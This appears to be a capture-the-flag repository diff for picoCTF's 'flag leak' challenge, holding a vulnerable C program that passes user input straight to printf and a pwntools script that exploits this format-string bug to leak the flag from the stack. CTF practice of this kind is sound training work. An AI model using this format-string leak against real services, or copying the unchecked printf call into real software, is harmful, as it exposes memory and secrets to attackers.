flag leak

flag_leak/.gdb_history

@@ -0,0 +1,2 @@
+disassemble main
+exit

flag_leak/sol.py

@@ -0,0 +1,29 @@
+#!/usr/bin/env python
+from pwn import *
+
+buffer_size = 127
+hex_to_read = 127//2
+hex_reader = b'%x'*hex_to_read
+payload = hex_reader + b'.'
+log.info(f"payload: {payload}")
+
+def endian_swap(s, offset=0):
+    result = b''
+    for i in range(3+offset, len(s), 4):
+        result += bytes(reversed(s[i-3:i+1]))
+    return result
+
+conn = remote("saturn.picoctf.net", 65206)
+
+conn.recvuntil(b" >> ")
+conn.sendline(payload)
+conn.recvline()
+data = conn.recvline(keepends=False)[:-1]
+log.info(f"received data: {data}")
+unhexed_data = unhex(data)
+for i in range(4):
+    endian_swapped_data = endian_swap(unhexed_data, offset=i)
+    if b"picoCTF" in endian_swapped_data:
+        break
+log.info(f"processed data: {endian_swapped_data}")
+

flag_leak/vuln.c

@@ -0,0 +1,46 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <wchar.h>
+#include <locale.h>
+
+#define BUFSIZE 64
+#define FLAGSIZE 64
+
+void readflag(char* buf, size_t len) {
+  FILE *f = fopen("flag.txt","r");
+  if (f == NULL) {
+    printf("%s %s", "Please create 'flag.txt' in this directory with your",
+                    "own debugging flag.\n");
+    exit(0);
+  }
+
+  fgets(buf,len,f); // size bound read
+}
+
+void vuln(){
+   char flag[BUFSIZE];
+   char story[128];
+
+   readflag(flag, FLAGSIZE);
+
+   printf("Tell me a story and then I'll tell you one >> ");
+   scanf("%127s", story);
+   printf("Here's a story - \n");
+   printf(story);
+   printf("\n");
+}
+
+int main(int argc, char **argv){
+
+  setvbuf(stdout, NULL, _IONBF, 0);
+  
+  // Set the gid to the effective gid
+  // this prevents /bin/sh from dropping the privileges
+  gid_t gid = getegid();
+  setresgid(gid, gid, gid);
+  vuln();
+  return 0;
+}